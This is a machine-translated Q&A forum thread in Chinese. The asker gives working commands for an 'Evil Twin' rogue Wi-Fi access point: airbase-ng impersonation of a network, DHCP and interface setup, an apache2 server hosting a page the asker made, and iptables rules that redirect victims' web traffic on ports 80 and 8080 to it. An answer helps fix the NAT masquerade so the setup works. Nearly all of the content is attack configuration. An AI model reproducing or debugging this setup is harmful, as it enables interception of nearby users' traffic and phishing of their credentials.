Evil Twin 中的 iptables 問題

Evil Twin 中的 iptables 問題

我一直在研究邪惡雙胞胎方法,我發現了以下步驟:

  1. 創建AP

    airmon-ng start wlan0 
    airbase-ng -e PrivateWIFI -c 9 -v mon0
    
  2. at0配置

    ifconfig at0 up
    ifconfig at0 192.168.1.20 netmask 255.255.255.0
    route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
    
  3. 運行 DHCP

    echo > '/var/lib/dhcp/dhcpd.leases'
    
    /etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
    

dhcpd.conf 檔案:

ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.1;
    option domain-name-servers 8.8.8.8;
    range 192.168.1.2 192.168.1.250;
}

然後我啟動了我的 apache2 伺服器

(到這裡為止都沒有問題)

狀態(我可以從手機打開我的網頁伺服器 192.168.1.20 並查看我製作的網頁:) :) )

但問題是,當我添加 iptables 命令時,什麼也沒有發生:

iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

////////////////////////////////////////////////////////////////////////

iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

他們兩個都不起作用,我希望有人能幫助我。

答案1

我不知道問題是您的瀏覽器被重定向到網頁伺服器還是沒有連接到互聯網,但我發現您應該修復一些問題。

你應該只有偽裝介面,不是兩個。正確的是乙太網路0(假設它是唯一一個接口直接地連接到互聯網),而不是流氓網路 at0介面.因此,您必須刪除倒數第二行。

話雖如此,看看事情是否按照您的預期進行。如果沒有,請向我們提供您的問題的準確描述以及您當前的診斷結果。

親切的問候。

相關內容